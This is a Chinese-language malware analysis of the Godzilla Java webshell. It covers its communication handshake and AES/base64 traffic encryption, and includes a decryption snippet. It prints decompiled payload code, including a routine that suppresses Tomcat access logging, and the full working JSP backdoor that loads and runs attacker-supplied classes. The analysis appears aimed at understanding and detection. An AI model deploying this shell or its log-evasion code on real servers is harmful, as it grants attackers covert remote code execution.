    public String getDocBase() {        try {            return this.getRealPath();        } catch (Exception var2) {            return var2.getMessage();        }    }
    public static Connection getConnection(String url, String userName, String password) {        Connection connection = null;
        try {            Class var10000 = class$8;            if (var10000 == null) {                try {                    var10000 = Class.forName("java.sql.DriverManager");                } catch (ClassNotFoundException var15) {                    throw new NoClassDefFoundError(var15.getMessage());                }
                class$8 = var10000;            }
            Field[] fields = var10000.getDeclaredFields();            Field field = null;
            for(int i = 0; i < fields.length; ++i) {                field = fields[i];                if (field.getName().indexOf("rivers") != -1) {                    var10000 = class$9;                    if (var10000 == null) {                        try {                            var10000 = Class.forName("java.util.List");                        } catch (ClassNotFoundException var14) {                            throw new NoClassDefFoundError(var14.getMessage());                        }
                        class$9 = var10000;                    }
                    if (var10000.isAssignableFrom(field.getType())) {                        break;                    }                }
                field = null;            }
            if (field != null) {                field.setAccessible(true);                List drivers = (List)field.get((Object)null);                Iterator iterator = drivers.iterator();
                while(iterator.hasNext() && connection == null) {                    try {                        Object object = iterator.next();                        Driver driver = null;                        var10000 = class$10;                        if (var10000 == null) {                            try {                                var10000 = Class.forName("java.sql.Driver");                            } catch (ClassNotFoundException var13) {                                throw new NoClassDefFoundError(var13.getMessage());                            }
                            class$10 = var10000;                        }
                        if (!var10000.isAssignableFrom(object.getClass())) {                            Field[] driverInfos = object.getClass().getDeclaredFields();
                            for(int i = 0; i < driverInfos.length; ++i) {                                var10000 = class$10;                                if (var10000 == null) {                                    try {                                        var10000 = Class.forName("java.sql.Driver");                                    } catch (ClassNotFoundException var12) {                                        throw new NoClassDefFoundError(var12.getMessage());                                    }
                                    class$10 = var10000;                                }
                                if (var10000.isAssignableFrom(driverInfos[i].getType())) {                                    driverInfos[i].setAccessible(true);                                    driver = (Driver)driverInfos[i].get(object);                                    break;                                }                            }                        }
                        if (driver != null) {                            Properties properties = new Properties();                            if (userName != null) {                                properties.put("user", userName);                            }
                            if (password != null) {                                properties.put("password", password);                            }
                            connection = driver.connect(url, properties);                        }                    } catch (Exception var16) {                    }                }            }        } catch (Exception var17) {        }
        return connection;    }
    public static String getLocalIPList() {        List ipList = new ArrayList();
        try {            Enumeration networkInterfaces = NetworkInterface.getNetworkInterfaces();
            while(networkInterfaces.hasMoreElements()) {                NetworkInterface networkInterface = (NetworkInterface)networkInterfaces.nextElement();                Enumeration inetAddresses = networkInterface.getInetAddresses();
                while(inetAddresses.hasMoreElements()) {                    InetAddress inetAddress = (InetAddress)inetAddresses.nextElement();                    if (inetAddress != null) {                        String ip = inetAddress.getHostAddress();                        ipList.add(ip);                    }                }            }        } catch (Exception var6) {        }
        return Arrays.toString(ipList.toArray());    }
    public String getRealPath() {        try {            if (this.servletContext != null) {                Class var10001 = this.servletContext.getClass();                Class[] var10003 = new Class[1];                Class var10006 = class$2;                if (var10006 == null) {                    try {                        var10006 = Class.forName("java.lang.String");                    } catch (ClassNotFoundException var3) {                        throw new NoClassDefFoundError(var3.getMessage());                    }
                    class$2 = var10006;                }
                var10003[0] = var10006;                Method getRealPathMethod = this.getMethodByClass(var10001, "getRealPath", var10003);                if (getRealPathMethod != null) {                    Object retObject = getRealPathMethod.invoke(this.servletContext, "/");                    return retObject != null ? retObject.toString() : "Null";                } else {                    return "no method getRealPathMethod";                }            } else {                return "servletContext is Null";            }        } catch (Exception var4) {            return var4.getMessage();        }    }
    public void deleteFiles(File f) throws Exception {        if (f.isDirectory()) {            File[] x = f.listFiles();
            for(int i = 0; i < x.length; ++i) {                File fs = x[i];                this.deleteFiles(fs);            }        }
        f.delete();    }
    Object invoke(Object obj, String methodName, Object[] parameters) {        try {            ArrayList classes = new ArrayList();            if (parameters != null) {                for(int i = 0; i < parameters.length; ++i) {                    Object o1 = parameters[i];                    if (o1 != null) {                        classes.add(o1.getClass());                    } else {                        classes.add((Object)null);                    }                }            }
            Method method = this.getMethodByClass(obj.getClass(), methodName, (Class[])classes.toArray(new Class[0]));            return method.invoke(obj, parameters);        } catch (Exception var7) {            return null;        }    }
    Object getMethodAndInvoke(Object obj, String methodName, Class[] parameterClass, Object[] parameters) {        try {            Method method = this.getMethodByClass(obj.getClass(), methodName, parameterClass);            if (method != null) {                return method.invoke(obj, parameters);            }        } catch (Exception var6) {        }
        return null;    }
    Method getMethodByClass(Class cs, String methodName, Class[] parameters) {        Method method = null;
        while(cs != null) {            try {                method = cs.getDeclaredMethod(methodName, parameters);                method.setAccessible(true);                cs = null;            } catch (Exception var6) {                cs = cs.getSuperclass();            }        }
        return method;    }
    public static Object getFieldValue(Object obj, String fieldName) throws Exception {        Field f = null;        if (obj instanceof Field) {            f = (Field)obj;        } else {            Method method = null;            Class cs = obj.getClass();
            while(cs != null) {                try {                    f = cs.getDeclaredField(fieldName);                    cs = null;                } catch (Exception var6) {                    cs = cs.getSuperclass();                }            }        }
        f.setAccessible(true);        return f.get(obj);    }
    private void noLog(Object servletContext) {        try {            Object applicationContext = getFieldValue(servletContext, "context");            Object container = getFieldValue(applicationContext, "context");
            ArrayList arrayList;            for(arrayList = new ArrayList(); container != null; container = this.invoke(container, "getParent", (Object[])null)) {                arrayList.add(container);            }
            label84:            for(int i = 0; i < arrayList.size(); ++i) {                try {                    Object pipeline = this.invoke(arrayList.get(i), "getPipeline", (Object[])null);                    if (pipeline != null) {                        Object valve = this.invoke(pipeline, "getFirst", (Object[])null);
                        while(true) {                            while(true) {                                if (valve == null) {                                    continue label84;                                }
                                if (this.getMethodByClass(valve.getClass(), "getCondition", (Class[])null) != null) {                                    Class var10001 = valve.getClass();                                    Class[] var10003 = new Class[1];                                    Class var10006 = class$2;                                    if (var10006 == null) {                                        try {                                            var10006 = Class.forName("java.lang.String");                                        } catch (ClassNotFoundException var12) {                                            throw new NoClassDefFoundError(var12.getMessage());                                        }
                                        class$2 = var10006;                                    }
                                    var10003[0] = var10006;                                    if (this.getMethodByClass(var10001, "setCondition", var10003) != null) {                                        String condition = (String)this.invoke((String)valve, "getCondition", new Object[0]);                                        condition = condition == null ? "FuckLog" : condition;                                        this.invoke(valve, "setCondition", new Object[]{condition});                                        var10001 = this.servletRequest.getClass();                                        var10003 = new Class[2];                                        var10006 = class$2;                                        if (var10006 == null) {                                            try {                                                var10006 = Class.forName("java.lang.String");                                            } catch (ClassNotFoundException var11) {                                                throw new NoClassDefFoundError(var11.getMessage());                                            }
                                            class$2 = var10006;                                        }
                                        var10003[0] = var10006;                                        var10006 = class$2;                                        if (var10006 == null) {                                            try {                                                var10006 = Class.forName("java.lang.String");                                            } catch (ClassNotFoundException var10) {                                                throw new NoClassDefFoundError(var10.getMessage());                                            }
                                            class$2 = var10006;                                        }
                                        var10003[1] = var10006;                                        Method setAttributeMethod = this.getMethodByClass(var10001, "setAttribute", var10003);                                        setAttributeMethod.invoke(condition, condition);                                        valve = this.invoke(valve, "getNext", (Object[])null);                                        continue;                                    }                                }
                                if (Class.forName("org.apache.catalina.Valve", false, applicationContext.getClass().getClassLoader()).isAssignableFrom(valve.getClass())) {                                    valve = this.invoke(valve, "getNext", (Object[])null);                                } else {                                    valve = null;                                }                            }                        }                    }                } catch (Exception var13) {                }            }        } catch (Exception var14) {        }
    }
    private static Class getClass(String name) {        try {            return Class.forName(name);        } catch (Exception var2) {            return null;        }    }
    public static int bytesToInt(byte[] bytes) {        int i = bytes[0] & 255 | (bytes[1] & 255) << 8 | (bytes[2] & 255) << 16 | (bytes[3] & 255) << 24;        return i;    }
    public String base64Encode(String data) {        return base64Encode(data.getBytes());    }
    public static String base64Encode(byte[] src) {        int off = 0;        int end = src.length;        byte[] dst = new byte[4 * ((src.length + 2) / 3)];        int linemax = -1;        boolean doPadding = true;        char[] base64 = toBase64;        int sp = off;        int slen = (end - off) / 3 * 3;        int sl = off + slen;        if (linemax > 0 && slen > linemax / 4 * 3) {            slen = linemax / 4 * 3;        }
        int dp;        int b0;        int b1;        for(dp = 0; sp < sl; sp = b0) {            b0 = Math.min(sp + slen, sl);            b1 = sp;
            int bits;            for(int dp0 = dp; b1 < b0; dst[dp0++] = (byte)base64[bits & 63]) {                bits = (src[b1++] & 255) << 16 | (src[b1++] & 255) << 8 | src[b1++] & 255;                dst[dp0++] = (byte)base64[bits >>> 18 & 63];                dst[dp0++] = (byte)base64[bits >>> 12 & 63];                dst[dp0++] = (byte)base64[bits >>> 6 & 63];            }
            b1 = (b0 - sp) / 3 * 4;            dp += b1;        }
        if (sp < end) {            b0 = src[sp++] & 255;            dst[dp++] = (byte)base64[b0 >> 2];            if (sp == end) {                dst[dp++] = (byte)base64[b0 << 4 & 63];                if (doPadding) {                    dst[dp++] = 61;                    dst[dp++] = 61;                }            } else {                b1 = src[sp++] & 255;                dst[dp++] = (byte)base64[b0 << 4 & 63 | b1 >> 4];                dst[dp++] = (byte)base64[b1 << 2 & 63];                if (doPadding) {                    dst[dp++] = 61;                }            }        }
        return new String(dst);    }
    public static byte[] base64Decode(String base64Str) {        if (base64Str.length() == 0) {            return new byte[0];        } else {            byte[] src = base64Str.getBytes();            int sp = 0;            int sl = src.length;            int paddings = 0;            int len = sl - sp;            if (src[sl - 1] == 61) {                ++paddings;                if (src[sl - 2] == 61) {                    ++paddings;                }            }
            if (paddings == 0 && (len & 3) != 0) {                paddings = 4 - (len & 3);            }
            byte[] dst = new byte[3 * ((len + 3) / 4) - paddings];            int[] base64 = new int[256];            Arrays.fill(base64, -1);
            int dp;            for(dp = 0; dp < toBase64.length; base64[toBase64[dp]] = dp++) {            }
            base64[61] = -2;            dp = 0;            int bits = 0;            int shiftto = 18;
            while(sp < sl) {                int b = src[sp++] & 255;                if ((b = base64[b]) < 0 && b == -2) {                    if (shiftto == 6 && (sp == sl || src[sp++] != 61) || shiftto == 18) {                        throw new IllegalArgumentException("Input byte array has wrong 4-byte ending unit");                    }                    break;                }
                bits |= b << shiftto;                shiftto -= 6;                if (shiftto < 0) {                    dst[dp++] = (byte)(bits >> 16);                    dst[dp++] = (byte)(bits >> 8);                    dst[dp++] = (byte)bits;                    shiftto = 18;                    bits = 0;                }            }
            if (shiftto == 6) {                dst[dp++] = (byte)(bits >> 16);            } else if (shiftto == 0) {                dst[dp++] = (byte)(bits >> 16);                dst[dp++] = (byte)(bits >> 8);            } else if (shiftto == 12) {                throw new IllegalArgumentException("Last unit does not have enough valid bits");            }
            if (dp != dst.length) {                byte[] arrayOfByte = new byte[dp];                System.arraycopy(dst, 0, arrayOfByte, 0, Math.min(dst.length, dp));                dst = arrayOfByte;            }
            return dst;        }    }}

(通信一)

然后调用sendHttpResponse(),在这里完成对请求(payload.classs的字节码)的加密(通过调用选择的加密器的encode方法),然后做发送

(1)ApplicationContext.getPayload(this.payload) payloadclass会调用class shells.payloads.下面对应的payload并实例化返回。

(通信二)

这里调用test,在evalFunc中发送了第二次的http请求。funcName="test",数据为参数的parameter.formatEx(),然后做了一次gzip的编码,最后会对请求进行gzip的解码。当返回的字符串为ok的时候,则test就会返回true

下面就代表true

11CD6A8758984163LF/IpkPvM0iJI4wmpBs2DaoBVvcbDMpwuL7nYS3n/k4=6C37AC826A2A04BC

通信三

我这里的代码没找到,但是通过对比第二个和第三个包是可以看到发送了一样的请求

三次通信触发位置

一 。this.cryptionModel.init(this);//发送payload.classs的字节码

二。this.payloadModel.test()//发送填充的parameter参数methodName=test,中间做了填充所以存在乱码

三。this.payloadModel.test()//发送填充的parameter参数methodName=test,中间做了填充所以存在乱码

流量加解密

post解密

package org.example;
import util.functions;
public class Main {    static String xc="3c6e0b8a9c15224a";    public static byte[] x(byte[] s,boolean m)    {        try        {javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");        c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));        return c.doFinal(s);    }catch (Exception e){return null;        }    }
    public static void main(String[] args) {        String code = "0mQU+S1pFnTz3ttVTnAgJVD/aBwD3NNXL3TfTExo1weKu4KAhhCu6Gn1EQfX1m9g";        byte[] b = functions.base64Decode(code);        byte[] be = x(b,false);        System.out.println(new String(functions.gzipD(be)));    }}

response解密

观察这里,这里在数据的前后拼接了md5的前16和后16位,所以流量解密需要进行去除

response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));

所以这里能看到哥斯拉在JAVA_AES_BASE64的加解密顺序

data -> aes加密->  base64编码->  url编码 -> 加密后的data加密后的data  -> url解码->  base64解码-> aes 解密->  data

哥斯拉执行原理

根据我们前面的分析,哥斯拉是基于字节码打入payload类的方式进行的通信执行功能复现。那么哥斯拉如何去处理和获取我们传输的数据呢。其中this.handle()实现具体功能。区分一下两次equals和tostring

(1)equals(ByteArrayOutputStream)

存储了this.outputStream

(2)equals(pageContext)

this.handlePayloadContext(obj);获取到request之后获取parameters

tostring()

获取参数具体的值

run中调用对应的方法,进行功能实现

五 哥斯拉webshell后门分析

<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{    public X(ClassLoader z){super(z);}    public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }    public byte[] x(byte[] s,boolean m){         try{            javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");            c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));            return c.doFinal(s);         }catch (Exception e){return null; }    }     public static String md5(String s) {        String ret = null;        try {            java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");            m.update(s.getBytes(), 0, s.length());            ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();        } catch (Exception e) {}        return ret;     }     public static String base64Encode(byte[] bs) throws Exception {        Class base64;String value = null;        try {            base64=Class.forName("java.util.Base64");            Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);            value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });        } catch (Exception e) {            try {                 base64=Class.forName("sun.misc.BASE64Encoder");                 Object Encoder = base64.newInstance();                 value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });            } catch (Exception e2) {}        }        return value;     }     public static byte[] base64Decode(String bs) throws Exception {        Class base64;byte[] value = null;        try {            base64=Class.forName("java.util.Base64");            Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);            value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });        } catch (Exception e) {            try {                 base64=Class.forName("sun.misc.BASE64Decoder");                 Object decoder = base64.newInstance();                 value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });            } catch (Exception e2) {}        }        return value;     }%><%     try{        byte[] data=base64Decode(request.getParameter(pass));        data=x(data, false);        if (session.getAttribute("payload")==null){            session.setAttribute("payload",new X(pageContext.getClass().getClassLoader()).Q(data));        }else{            request.setAttribute("parameters", new String(data));            Object f=((Class)session.getAttribute("payload")).newInstance();            f.equals(pageContext);            response.getWriter().write(md5.substring(0,16));            response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));            response.getWriter().write(md5.substring(16));}         }catch (Exception e){}%>

上面都是定义的加解密算法,核心还是下面这点

(1)获取pass 如果session没有payload属性,就利用自定义classloader加载data,然后设置为payload属性。

(2)后续能获取到以后,就会设置传入的参数,然后实例化payload类

(3)调用核心的equals,tostring() 完成webshell的文件上传,命令执行等功能。

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。